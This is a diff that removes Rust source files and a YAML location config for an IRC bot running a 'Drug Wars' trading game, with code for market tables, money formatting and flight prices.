|
||||
]);
|
||||
};
|
||||
|
||||
let mut drug_wars = data.write().unwrap();
|
||||
Some(drug_wars.buy_capacity(prefix.nick, amount))
|
||||
}
|
||||
|
||||
fn check_capacity_price(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
|
||||
let data = irc.data().get::<GameManager>().unwrap();
|
||||
|
||||
let Ok(amount) = arguments[0].parse::<usize>() else {
|
||||
return Some(vec![
|
||||
format!(
|
||||
"{}: Unable to parse {} as usize",
|
||||
prefix.nick, arguments[0]
|
||||
)
|
||||
]);
|
||||
};
|
||||
|
||||
let mut drug_wars = data.write().unwrap();
|
||||
Some(drug_wars.check_capacity_price(prefix.nick, amount))
|
||||
}
|
@ -1,714 +0,0 @@
|
||||
use chrono::Duration;
|
||||
use itertools::Itertools;
|
||||
|
||||
use crate::{
|
||||
dealer::Dealer,
|
||||
drug_wars::DrugWars,
|
||||
utils::{pretty_print_money, truncate_string},
|
||||
};
|
||||
|
||||
impl DrugWars {
|
||||
fn get_date_and_time(&self) -> String {
|
||||
let current_date = self.settings.current_day.format("%Y-%m-%d").to_string();
|
||||
|
||||
let t = self.timer.elapsed().unwrap().as_secs_f32() / self.settings.day_duration as f32;
|
||||
|
||||
let current_seconds = t * 86400.;
|
||||
|
||||
let duration = Duration::seconds(current_seconds as i64);
|
||||
|
||||
let current_time = format!(
|
||||
"{:0>2}:{:0>2}",
|
||||
duration.num_hours(),
|
||||
duration.num_minutes() - (60 * duration.num_hours())
|
||||
);
|
||||
|
||||
format!("{} {}", current_date, current_time)
|
||||
}
|
||||
|
||||
pub fn render_header(&self, nick: &str, dealer: &Dealer) -> Vec<String> {
|
||||
let mut lines = vec![];
|
||||
|
||||
let date_nick_line = format!(
|
||||
"╭ {} ─ {} ─ {} ─ {} ─ {} ",
|
||||
self.get_date_and_time(),
|
||||
nick,
|
||||
pretty_print_money(dealer.money),
|
||||
dealer.location,
|
||||
dealer.print_status()
|
||||
);
|
||||
let top_box_line = "─".repeat(dealer.max_width - date_nick_line.chars().count() - 1);
|
||||
|
||||
lines.push(format!("{}{}╮", date_nick_line, top_box_line));
|
||||
|
||||
let location = self.locations.get(&dealer.location).unwrap();
|
||||
|
||||
for msg in &location.messages {
|
||||
let start = format!("│ {}", msg);
|
||||
let spaces = " ".repeat(dealer.max_width - start.chars().count() - 1);
|
||||
|
||||
lines.push(format!("{}{}│", start, spaces));
|
||||
}
|
||||
|
||||
lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
|
||||
|
||||
lines
|
||||
}
|
||||
|
||||
pub fn render_drugs(&self, dealer: &Dealer) -> Vec<String> {
|
||||
let mut lines = vec![];
|
||||
|
||||
let market_column_width = ((dealer.max_width - 4) as f32 / 4.).floor() as usize;
|
||||
let owned_column_width = ((dealer.max_width - 4) as f32 / 3.).floor() as usize;
|
||||
|
||||
lines.push(format!(
|
||||
"╭ Drugs market {}╮",
|
||||
"─".repeat(dealer.max_width - 16)
|
||||
));
|
||||
|
||||
let mut market_header = String::new();
|
||||
for col_name in ["Drug", "Supply", "Demand", "Price"] {
|
||||
let spaces = " ".repeat(market_column_width - col_name.chars().count());
|
||||
market_header += &format!("{}{}", col_name, spaces);
|
||||
}
|
||||
|
||||
market_header += &" ".repeat(dealer.max_width - market_header.chars().count() - 4);
|
||||
|
||||
lines.push(format!("│ {} │", market_header));
|
||||
|
||||
let location = self.locations.get(&dealer.location).unwrap();
|
||||
|
||||
for (drug_name, drug) in &location.drug_market {
|
||||
let mut market_column = String::new();
|
||||
|
||||
let value = truncate_string(&drug_name, market_column_width);
|
||||
let spaces = " ".repeat(market_column_width - value.chars().count());
|
||||
market_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value = truncate_string(&format!("{}", drug.supply), market_column_width);
|
||||
let spaces = " ".repeat(market_column_width - value.chars().count());
|
||||
market_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value = truncate_string(&format!("{}", drug.demand), market_column_width);
|
||||
let spaces = " ".repeat(market_column_width - value.chars().count());
|
||||
market_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value = truncate_string(
|
||||
&format!("{}", pretty_print_money(drug.price)),
|
||||
market_column_width,
|
||||
);
|
||||
let spaces = " ".repeat(market_column_width - value.chars().count());
|
||||
market_column += &format!("{}{}", value, spaces);
|
||||
|
||||
market_column += &" ".repeat(dealer.max_width - market_column.chars().count() - 4);
|
||||
|
||||
lines.push(format!("│ {} │", market_column));
|
||||
}
|
||||
|
||||
lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
|
||||
|
||||
let mut header_line = format!(
|
||||
"╭ Owned drugs ({}/{})",
|
||||
dealer.get_total_drugs_local(),
|
||||
dealer.capacity
|
||||
);
|
||||
|
||||
header_line += &format!(
|
||||
"{}╮",
|
||||
"─".repeat(dealer.max_width - header_line.chars().count() - 1)
|
||||
);
|
||||
lines.push(header_line);
|
||||
|
||||
let mut owned_header = String::new();
|
||||
for col_name in ["Drug", "Amount", "Bought at"] {
|
||||
let spaces = " ".repeat(owned_column_width - col_name.chars().count());
|
||||
owned_header += &format!("{}{}", col_name, spaces);
|
||||
}
|
||||
|
||||
owned_header += &" ".repeat(dealer.max_width - owned_header.chars().count() - 4);
|
||||
|
||||
lines.push(format!("│ {} │", owned_header));
|
||||
|
||||
let owned_local = dealer.get_local_drugs();
|
||||
|
||||
for (drug_name, drug) in owned_local {
|
||||
let mut owned_column = String::new();
|
||||
|
||||
let value = truncate_string(&drug_name, owned_column_width);
|
||||
let spaces = " ".repeat(owned_column_width - value.chars().count());
|
||||
owned_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value = truncate_string(&format!("{}", drug.amount), owned_column_width);
|
||||
let spaces = " ".repeat(owned_column_width - value.chars().count());
|
||||
owned_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value = truncate_string(
|
||||
&format!("{}", pretty_print_money(drug.bought_at)),
|
||||
owned_column_width,
|
||||
);
|
||||
let spaces = " ".repeat(owned_column_width - value.chars().count());
|
||||
owned_column += &format!("{}{}", value, spaces);
|
||||
|
||||
owned_column += &" ".repeat(dealer.max_width - owned_column.chars().count() - 4);
|
||||
|
||||
lines.push(format!("│ {} │", owned_column));
|
||||
}
|
||||
|
||||
lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
|
||||
|
||||
lines
|
||||
}
|
||||
|
||||
pub fn render_items(&self, dealer: &Dealer) -> Vec<String> {
|
||||
let mut lines = vec![];
|
||||
|
||||
let market_column_width = ((dealer.max_width - 4) as f32 / 4.).floor() as usize;
|
||||
let owned_column_width = ((dealer.max_width - 4) as f32 / 3.).floor() as usize;
|
||||
|
||||
lines.push(format!(
|
||||
"╭ Items market {}╮",
|
||||
"─".repeat(dealer.max_width - 16)
|
||||
));
|
||||
|
||||
let mut market_header = String::new();
|
||||
for col_name in ["Item", "Supply", "Demand", "Price"] {
|
||||
let spaces = " ".repeat(market_column_width - col_name.chars().count());
|
||||
market_header += &format!("{}{}", col_name, spaces);
|
||||
}
|
||||
|
||||
market_header += &" ".repeat(dealer.max_width - market_header.chars().count() - 4);
|
||||
|
||||
lines.push(format!("│ {} │", market_header));
|
||||
|
||||
let location = self.locations.get(&dealer.location).unwrap();
|
||||
|
||||
for (item_name, item) in &location.item_market {
|
||||
let mut market_column = String::new();
|
||||
|
||||
let value = truncate_string(&item_name, market_column_width);
|
||||
let spaces = " ".repeat(market_column_width - value.chars().count());
|
||||
market_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value = truncate_string(&format!("{}", item.supply), market_column_width);
|
||||
let spaces = " ".repeat(market_column_width - value.chars().count());
|
||||
market_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value = truncate_string(&format!("{}", item.demand), market_column_width);
|
||||
let spaces = " ".repeat(market_column_width - value.chars().count());
|
||||
market_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value = truncate_string(
|
||||
&format!("{}", pretty_print_money(item.price)),
|
||||
market_column_width,
|
||||
);
|
||||
let spaces = " ".repeat(market_column_width - value.chars().count());
|
||||
market_column += &format!("{}{}", value, spaces);
|
||||
|
||||
market_column += &" ".repeat(dealer.max_width - market_column.chars().count() - 4);
|
||||
|
||||
lines.push(format!("│ {} │", market_column));
|
||||
}
|
||||
|
||||
lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
|
||||
|
||||
let mut header_line = format!(
|
||||
"╭ Owned items ({}/{})",
|
||||
dealer.get_total_drugs_local(),
|
||||
dealer.capacity
|
||||
);
|
||||
|
||||
header_line += &format!(
|
||||
"{}╮",
|
||||
"─".repeat(dealer.max_width - header_line.chars().count() - 1)
|
||||
);
|
||||
lines.push(header_line);
|
||||
|
||||
let mut owned_header = String::new();
|
||||
for col_name in ["Item", "Amount", "Bought at"] {
|
||||
let spaces = " ".repeat(owned_column_width - col_name.chars().count());
|
||||
owned_header += &format!("{}{}", col_name, spaces);
|
||||
}
|
||||
|
||||
owned_header += &" ".repeat(dealer.max_width - owned_header.chars().count() - 4);
|
||||
|
||||
lines.push(format!("│ {} │", owned_header));
|
||||
|
||||
let owned_local = dealer.get_local_drugs();
|
||||
|
||||
for (item_name, item) in owned_local {
|
||||
let mut owned_column = String::new();
|
||||
|
||||
let value = truncate_string(&item_name, owned_column_width);
|
||||
let spaces = " ".repeat(owned_column_width - value.chars().count());
|
||||
owned_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value = truncate_string(&format!("{}", item.amount), owned_column_width);
|
||||
let spaces = " ".repeat(owned_column_width - value.chars().count());
|
||||
owned_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value = truncate_string(
|
||||
&format!("{}", pretty_print_money(item.bought_at)),
|
||||
owned_column_width,
|
||||
);
|
||||
let spaces = " ".repeat(owned_column_width - value.chars().count());
|
||||
owned_column += &format!("{}{}", value, spaces);
|
||||
|
||||
owned_column += &" ".repeat(dealer.max_width - owned_column.chars().count() - 4);
|
||||
|
||||
lines.push(format!("│ {} │", owned_column));
|
||||
}
|
||||
|
||||
lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
|
||||
lines
|
||||
}
|
||||
|
||||
pub fn render_drugs_dual_columns(&self, dealer: &Dealer) -> Vec<String> {
|
||||
let mut lines = vec![];
|
||||
|
||||
let market_width = dealer.max_width / 2;
|
||||
let owned_width = dealer.max_width / 2;
|
||||
|
||||
let market_column_width = ((market_width - 2) as f32 / 4.).floor() as usize;
|
||||
let owned_column_width = ((owned_width - 2) as f32 / 3.).floor() as usize;
|
||||
|
||||
let mut header_line = format!(
|
||||
"╭ Drugs market {}┬ Owned drugs ({}/{}) ",
|
||||
"─".repeat(market_width - 16),
|
||||
dealer.get_total_drugs_local(),
|
||||
dealer.capacity,
|
||||
);
|
||||
|
||||
header_line += &format!(
|
||||
"{}╮",
|
||||
"─".repeat(dealer.max_width - header_line.chars().count() - 1)
|
||||
);
|
||||
|
||||
lines.push(header_line);
|
||||
|
||||
// Market column headers
|
||||
let mut market_header = String::new();
|
||||
for col_name in ["Drug", "Supply", "Demand", "Price"] {
|
||||
let spaces = " ".repeat(market_column_width - col_name.chars().count());
|
||||
market_header += &format!("{}{}", col_name, spaces);
|
||||
}
|
||||
|
||||
println!(
|
||||
"mw: {}, mh: {}",
|
||||
market_width,
|
||||
market_header.chars().count()
|
||||
);
|
||||
let offset = (market_width - market_header.chars().count()).min(3);
|
||||
|
||||
market_header += &" ".repeat(market_width - market_header.chars().count() - offset);
|
||||
|
||||
// Owned column headers
|
||||
let mut owned_header = String::new();
|
||||
for col_name in ["Drug", "Amount", "Bought at"] {
|
||||
let spaces = " ".repeat(owned_column_width - col_name.chars().count());
|
||||
owned_header += &format!("{}{}", col_name, spaces);
|
||||
}
|
||||
|
||||
let offset = (owned_width - owned_header.chars().count()).min(2);
|
||||
owned_header += &" ".repeat(owned_width - owned_header.chars().count() - offset);
|
||||
|
||||
lines.push(format!("│ {}│ {}│", market_header, owned_header));
|
||||
|
||||
let location = self.locations.get(&dealer.location).unwrap();
|
||||
|
||||
let owned_local = dealer.get_local_drugs();
|
||||
|
||||
for pair in location.drug_market.iter().zip_longest(owned_local.iter()) {
|
||||
match pair {
|
||||
itertools::EitherOrBoth::Both(market, owned) => {
|
||||
// Market column
|
||||
let mut market_column = String::new();
|
||||
|
||||
let value = truncate_string(market.0, market_column_width);
|
||||
let spaces = " ".repeat(market_column_width - value.chars().count());
|
||||
market_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value =
|
||||
truncate_string(&format!("{}", market.1.supply), market_column_width);
|
||||
let spaces = " ".repeat(market_column_width - value.chars().count());
|
||||
market_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value =
|
||||
truncate_string(&format!("{}", market.1.demand), market_column_width);
|
||||
let spaces = " ".repeat(market_column_width - value.chars().count());
|
||||
market_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value = truncate_string(
|
||||
&format!("{}", pretty_print_money(market.1.price)),
|
||||
market_column_width,
|
||||
);
|
||||
let spaces = " ".repeat(market_column_width - value.chars().count());
|
||||
market_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let offset = (market_width - market_column.chars().count()).min(3);
|
||||
market_column +=
|
||||
&" ".repeat(market_width - market_column.chars().count() - offset);
|
||||
|
||||
// Owned column
|
||||
let mut owned_column = String::new();
|
||||
|
||||
let value = truncate_string(owned.0, owned_column_width);
|
||||
let spaces = " ".repeat(owned_column_width - value.chars().count());
|
||||
owned_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value = truncate_string(&format!("{}", owned.1.amount), owned_column_width);
|
||||
let spaces = " ".repeat(owned_column_width - value.chars().count());
|
||||
owned_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value = truncate_string(
|
||||
&format!("{}", pretty_print_money(owned.1.bought_at)),
|
||||
owned_column_width,
|
||||
);
|
||||
let spaces = " ".repeat(owned_column_width - value.chars().count());
|
||||
owned_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let offset = (owned_width - owned_column.chars().count()).min(2);
|
||||
owned_column +=
|
||||
&" ".repeat(owned_width - owned_column.chars().count() - offset);
|
||||
|
||||
lines.push(format!("│ {}│ {}│", market_column, owned_column));
|
||||
}
|
||||
itertools::EitherOrBoth::Left(market) => {
|
||||
// Market column
|
||||
let mut market_column = String::new();
|
||||
|
||||
let value = truncate_string(market.0, market_column_width);
|
||||
let spaces = " ".repeat(market_column_width - value.chars().count());
|
||||
market_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value =
|
||||
truncate_string(&format!("{}", market.1.supply), market_column_width);
|
||||
let spaces = " ".repeat(market_column_width - value.chars().count());
|
||||
market_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value =
|
||||
truncate_string(&format!("{}", market.1.demand), market_column_width);
|
||||
let spaces = " ".repeat(market_column_width - value.chars().count());
|
||||
market_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value = truncate_string(
|
||||
&format!("{}", pretty_print_money(market.1.price)),
|
||||
market_column_width,
|
||||
);
|
||||
let spaces = " ".repeat(market_column_width - value.chars().count());
|
||||
market_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let offset = (market_width - market_column.chars().count()).min(3);
|
||||
market_column +=
|
||||
&" ".repeat(market_width - market_column.chars().count() - offset);
|
||||
|
||||
lines.push(format!(
|
||||
"│ {}│ {}│",
|
||||
market_column,
|
||||
" ".repeat(owned_width - 2)
|
||||
));
|
||||
}
|
||||
itertools::EitherOrBoth::Right(owned) => {
|
||||
// Owned column
|
||||
let mut owned_column = String::new();
|
||||
|
||||
let value = truncate_string(owned.0, owned_column_width);
|
||||
let spaces = " ".repeat(owned_column_width - value.chars().count());
|
||||
owned_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value = truncate_string(&format!("{}", owned.1.amount), owned_column_width);
|
||||
let spaces = " ".repeat(owned_column_width - value.chars().count());
|
||||
owned_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value = truncate_string(
|
||||
&format!("{}", pretty_print_money(owned.1.bought_at)),
|
||||
owned_column_width,
|
||||
);
|
||||
let spaces = " ".repeat(owned_column_width - value.chars().count());
|
||||
owned_column += &format!("{}{}", value, spaces);
|
||||
|
||||
lines.push(format!(
|
||||
"│ {}│ {}│",
|
||||
" ".repeat(market_width - 3),
|
||||
owned_column
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
lines.push(format!(
|
||||
"╰{}┴{}╯",
|
||||
"─".repeat(market_width - 2),
|
||||
"─".repeat(owned_width - 1)
|
||||
));
|
||||
|
||||
lines
|
||||
}
|
||||
|
||||
pub fn render_items_dual_columns(&self, dealer: &Dealer) -> Vec<String> {
|
||||
let mut lines = vec![];
|
||||
|
||||
let market_width = dealer.max_width / 2;
|
||||
let owned_width = dealer.max_width / 2;
|
||||
|
||||
let market_column_width = ((market_width - 2) as f32 / 4.).floor() as usize;
|
||||
let owned_column_width = ((owned_width - 2) as f32 / 3.).floor() as usize;
|
||||
|
||||
lines.push(format!(
|
||||
"╭ Items market {}┬ Owned items {}╮",
|
||||
"─".repeat(market_width - 16),
|
||||
"─".repeat(owned_width - 14)
|
||||
));
|
||||
|
||||
// Market column headers
|
||||
let mut market_header = String::new();
|
||||
for col_name in ["Item", "Supply", "Demand", "Price"] {
|
||||
let spaces = " ".repeat(market_column_width - col_name.chars().count());
|
||||
market_header += &format!("{}{}", col_name, spaces);
|
||||
}
|
||||
|
||||
let offset = (market_width - market_header.chars().count()).min(3);
|
||||
market_header += &" ".repeat(market_width - market_header.chars().count() - offset);
|
||||
|
||||
// Owned column headers
|
||||
let mut owned_header = String::new();
|
||||
for col_name in ["Item", "Amount", "Bought at"] {
|
||||
let spaces = " ".repeat(owned_column_width - col_name.chars().count());
|
||||
owned_header += &format!("{}{}", col_name, spaces);
|
||||
}
|
||||
|
||||
let offset = (owned_width - owned_header.chars().count()).min(2);
|
||||
owned_header += &" ".repeat(owned_width - owned_header.chars().count() - offset);
|
||||
|
||||
lines.push(format!("│ {}│ {}│", market_header, owned_header));
|
||||
|
||||
let location = self.locations.get(&dealer.location).unwrap();
|
||||
|
||||
let owned_local = dealer.get_local_items();
|
||||
|
||||
for pair in location.item_market.iter().zip_longest(owned_local.iter()) {
|
||||
match pair {
|
||||
itertools::EitherOrBoth::Both(market, owned) => {
|
||||
// Market column
|
||||
let mut market_column = String::new();
|
||||
|
||||
let value = truncate_string(market.0, market_column_width);
|
||||
let spaces = " ".repeat(market_column_width - value.chars().count());
|
||||
market_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value =
|
||||
truncate_string(&format!("{}", market.1.supply), market_column_width);
|
||||
let spaces = " ".repeat(market_column_width - value.chars().count());
|
||||
market_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value =
|
||||
truncate_string(&format!("{}", market.1.demand), market_column_width);
|
||||
let spaces = " ".repeat(market_column_width - value.chars().count());
|
||||
market_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value = truncate_string(
|
||||
&format!("{}", pretty_print_money(market.1.price)),
|
||||
market_column_width,
|
||||
);
|
||||
let spaces = " ".repeat(market_column_width - value.chars().count());
|
||||
market_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let offset = (market_width - market_column.chars().count()).min(3);
|
||||
market_column +=
|
||||
&" ".repeat(market_width - market_column.chars().count() - offset);
|
||||
|
||||
// Owned column
|
||||
let mut owned_column = String::new();
|
||||
|
||||
let value = truncate_string(owned.0, owned_column_width);
|
||||
let spaces = " ".repeat(owned_column_width - value.chars().count());
|
||||
owned_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value = truncate_string(&format!("{}", owned.1.amount), owned_column_width);
|
||||
let spaces = " ".repeat(owned_column_width - value.chars().count());
|
||||
owned_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value = truncate_string(
|
||||
&format!("{}", pretty_print_money(owned.1.bought_at)),
|
||||
owned_column_width,
|
||||
);
|
||||
let spaces = " ".repeat(owned_column_width - value.chars().count());
|
||||
owned_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let offset = (owned_width - owned_column.chars().count()).min(2);
|
||||
owned_column +=
|
||||
&" ".repeat(owned_width - owned_column.chars().count() - offset);
|
||||
|
||||
lines.push(format!("│ {}│ {}│", market_column, owned_column));
|
||||
}
|
||||
itertools::EitherOrBoth::Left(market) => {
|
||||
// Market column
|
||||
let mut market_column = String::new();
|
||||
|
||||
let value = truncate_string(market.0, market_column_width);
|
||||
let spaces = " ".repeat(market_column_width - value.chars().count());
|
||||
market_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value =
|
||||
truncate_string(&format!("{}", market.1.supply), market_column_width);
|
||||
let spaces = " ".repeat(market_column_width - value.chars().count());
|
||||
market_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value =
|
||||
truncate_string(&format!("{}", market.1.demand), market_column_width);
|
||||
let spaces = " ".repeat(market_column_width - value.chars().count());
|
||||
market_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value = truncate_string(
|
||||
&format!("{}", pretty_print_money(market.1.price)),
|
||||
market_column_width,
|
||||
);
|
||||
let spaces = " ".repeat(market_column_width - value.chars().count() - 1);
|
||||
market_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let offset = (market_width - market_column.chars().count()).min(3);
|
||||
market_column +=
|
||||
&" ".repeat(market_width - market_column.chars().count() - offset);
|
||||
|
||||
lines.push(format!(
|
||||
"│ {}│ {}│",
|
||||
market_column,
|
||||
" ".repeat(owned_width - 2)
|
||||
));
|
||||
}
|
||||
itertools::EitherOrBoth::Right(owned) => {
|
||||
// Owned column
|
||||
let mut owned_column = String::new();
|
||||
|
||||
let value = truncate_string(owned.0, owned_column_width);
|
||||
let spaces = " ".repeat(owned_column_width - value.chars().count());
|
||||
owned_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value = truncate_string(&format!("{}", owned.1.amount), owned_column_width);
|
||||
let spaces = " ".repeat(owned_column_width - value.chars().count());
|
||||
owned_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let value = truncate_string(
|
||||
&format!("{}", pretty_print_money(owned.1.bought_at)),
|
||||
owned_column_width,
|
||||
);
|
||||
let spaces = " ".repeat(owned_column_width - value.chars().count());
|
||||
owned_column += &format!("{}{}", value, spaces);
|
||||
|
||||
let offset = (owned_width - owned_column.chars().count()).min(2);
|
||||
owned_column +=
|
||||
&" ".repeat(owned_width - owned_column.chars().count() - offset);
|
||||
|
||||
lines.push(format!(
|
||||
"│ {}│ {}│",
|
||||
" ".repeat(market_width - 3),
|
||||
owned_column
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
lines.push(format!(
|
||||
"╰{}┴{}╯",
|
||||
"─".repeat(market_width - 2),
|
||||
"─".repeat(owned_width - 1)
|
||||
));
|
||||
|
||||
lines
|
||||
}
|
||||
|
||||
pub fn render_people(&self, dealer: &Dealer) -> Vec<String> {
|
||||
let mut lines = vec![];
|
||||
|
||||
lines.push(format!(
|
||||
"╭ Blokes in town {}╮",
|
||||
"─".repeat(dealer.max_width - 18)
|
||||
));
|
||||
|
||||
let location = self.locations.get(&dealer.location).unwrap();
|
||||
|
||||
let mut blokes = location.blokes.iter().collect::<Vec<_>>();
|
||||
|
||||
let mut line = String::new();
|
||||
|
||||
while blokes.len() > 0 {
|
||||
let to_append = format!("{}, ", blokes[blokes.len() - 1]);
|
||||
|
||||
if line.chars().count() + to_append.chars().count() > dealer.max_width - 2 {
|
||||
line.truncate(line.len() - 2);
|
||||
|
||||
let start = format!("│ {}", line);
|
||||
let spaces = " ".repeat(dealer.max_width - start.chars().count() - 2);
|
||||
lines.push(format!("{}{} │", start, spaces));
|
||||
|
||||
line = String::new();
|
||||
}
|
||||
|
||||
line += &to_append;
|
||||
blokes.pop();
|
||||
}
|
||||
|
||||
if line.chars().count() > 0 {
|
||||
line.truncate(line.len() - 2);
|
||||
let start = format!("│ {}", line);
|
||||
let spaces = " ".repeat(dealer.max_width - start.chars().count() - 2);
|
||||
lines.push(format!("{}{} │", start, spaces));
|
||||
}
|
||||
|
||||
lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
|
||||
lines
|
||||
}
|
||||
|
||||
pub fn render_command_list(&self, dealer: &Dealer) -> Vec<String> {
|
||||
let mut lines = vec![];
|
||||
|
||||
lines.push(format!(
|
||||
"╭ Command list {}╮",
|
||||
"─".repeat(dealer.max_width - 16)
|
||||
));
|
||||
|
||||
let mut help_commands = vec![
|
||||
"s <drug> <amount> <location>: ship drug to location",
|
||||
"fp: flight prices",
|
||||
"f <location>: fly to location",
|
||||
"gm <bloke> <amount>: give money to some bloke",
|
||||
"gd <bloke> <drug> <amount>: give drugs to some bloke",
|
||||
"gi <bloke> <item> <amount>: give items to some bloke",
|
||||
"si <item> <amount>: sell item",
|
||||
"bi <item> <amount>: buy item",
|
||||
"sd <drug> <amount>: sell drug",
|
||||
"bd <drug> <amount>: buy drug",
|
||||
"bc <amount>: buy capacity",
|
||||
"mw <size>: set max width",
|
||||
"p: print info",
|
||||
];
|
||||
|
||||
let mut line = String::new();
|
||||
|
||||
while help_commands.len() > 0 {
|
||||
let to_append = format!("{}, ", help_commands[help_commands.len() - 1]);
|
||||
|
||||
if line.chars().count() + to_append.chars().count() > dealer.max_width - 2 {
|
||||
line.truncate(line.len() - 2);
|
||||
|
||||
let start = format!("│ {}", line);
|
||||
let spaces = " ".repeat(dealer.max_width - start.chars().count() - 2);
|
||||
lines.push(format!("{}{} │", start, spaces));
|
||||
|
||||
line = String::new();
|
||||
}
|
||||
|
||||
line += &to_append;
|
||||
help_commands.pop();
|
||||
}
|
||||
|
||||
if line.chars().count() > 0 {
|
||||
line.truncate(line.len() - 2);
|
||||
let start = format!("│ {}", line);
|
||||
let spaces = " ".repeat(dealer.max_width - start.chars().count() - 2);
|
||||
lines.push(format!("{}{} │", start, spaces));
|
||||
}
|
||||
|
||||
lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
|
||||
lines
|
||||
}
|
||||
}
|
@ -1,66 +0,0 @@
|
||||
use std::{f32::consts::PI, str};
|
||||
|
||||
use crate::definitions::Location;
|
||||
|
||||
pub fn truncate_string(original: &str, max: usize) -> String {
|
||||
assert!(max > 3);
|
||||
|
||||
if original.chars().count() <= max {
|
||||
return original.to_owned();
|
||||
}
|
||||
|
||||
format!("{}...", &original[..(max - 3)])
|
||||
}
|
||||
|
||||
pub fn pretty_print_money(money: u128) -> String {
|
||||
let unit_money = money / 10000;
|
||||
let float_money = money as f32 / 10000.;
|
||||
let dec = (float_money.fract() * 100.).floor() as u32;
|
||||
|
||||
let pretty_money = unit_money
|
||||
.to_string()
|
||||
.as_bytes()
|
||||
.rchunks(3)
|
||||
.rev()
|
||||
.map(str::from_utf8)
|
||||
.collect::<Result<Vec<&str>, _>>()
|
||||
.unwrap()
|
||||
.join(",");
|
||||
|
||||
format!("${}.{:0>2}", pretty_money, dec)
|
||||
}
|
||||
|
||||
pub fn get_flight_price(origin: &Location, other: &Location) -> u128 {
|
||||
let cur_lat = origin.lat * (PI / 180.);
|
||||
let cur_long = origin.long * (PI / 180.);
|
||||
|
||||
let other_lat = other.lat * (PI / 180.);
|
||||
let other_long = other.long * (PI / 180.);
|
||||
|
||||
let float_price = (cur_lat.sin() * other_lat.sin()
|
||||
+ cur_lat.cos() * other_lat.cos() * (other_long - cur_long).cos())
|
||||
.acos()
|
||||
* 10000.;
|
||||
|
||||
(float_price * 10000.) as u128
|
||||
}
|
||||
|
||||
pub fn capacity_price(current_capacity: usize, to_add: usize) -> Option<u128> {
|
||||
let mut price: u128 = 1000 * 10000;
|
||||
|
||||
for _ in 0..current_capacity {
|
||||
price += price / 1000000;
|
||||
}
|
||||
|
||||
let mut accumulated_price: u128 = 0;
|
||||
|
||||
for _ in current_capacity..(current_capacity + to_add) {
|
||||
price += price / 1000000;
|
||||
accumulated_price = match accumulated_price.checked_add(price) {
|
||||
Some(v) => v,
|
||||
None => return None,
|
||||
}
|
||||
}
|
||||
|
||||
Some(accumulated_price)
|
||||
}
|
@ -1,205 +0,0 @@
|
||||
settings:
|
||||
day_duration: 300 # 5 mins
|
||||
start_day: 1993-04-20
|
||||
locations:
|
||||
- name: Beijing, China
|
||||
position:
|
||||
lat: 39.9042
|
||||
long: 116.4074
|
||||
- name: Boston, USA
|
||||
position:
|
||||
lat: 42.3601
|
||||
long: -71.0589
|
||||
- name: Detroit, USA
|
||||
position:
|
||||
lat: 42.3314
|
||||
long: -83.0458
|
||||
- name: London, England
|
||||
position:
|
||||
lat: 51.5072
|
||||
long: -0.1276
|
||||
- name: Los Angeles, USA
|
||||
position:
|
||||
lat: 34.0522
|
||||
long: -118.2437
|
||||
- name: Miami, USA
|
||||
position:
|
||||
lat: 25.7617
|
||||
long: -80.1918
|
||||
- name: Moscow, Russia
|
||||
position:
|
||||
lat: 55.7558
|
||||
long: 37.6173
|
||||
- name: New York, USA
|
||||
position:
|
||||
lat: 40.7128
|
||||
long: -74.0060
|
||||
- name: Paris, France
|
||||
position:
|
||||
lat: 48.8566
|
||||
long: 2.3522
|
||||
- name: San Francisco, USA
|
||||
position:
|
||||
lat: 37.7749
|
||||
long: -122.4194
|
||||
- name: St Petersburg, Russia
|
||||
position:
|
||||
lat: 59.9343
|
||||
long: -30.3351
|
||||
- name: Sydney, Australia
|
||||
position:
|
||||
lat: -33.8688
|
||||
long: 151.2093
|
||||
- name: Toronto, Canada
|
||||
position:
|
||||
lat: 43.6532
|
||||
long: -79.3832
|
||||
- name: Vancouver, Canada
|
||||
position:
|
||||
lat: 49.2827
|
||||
long: -123.1207
|
||||
- name: Bogota, Colombia
|
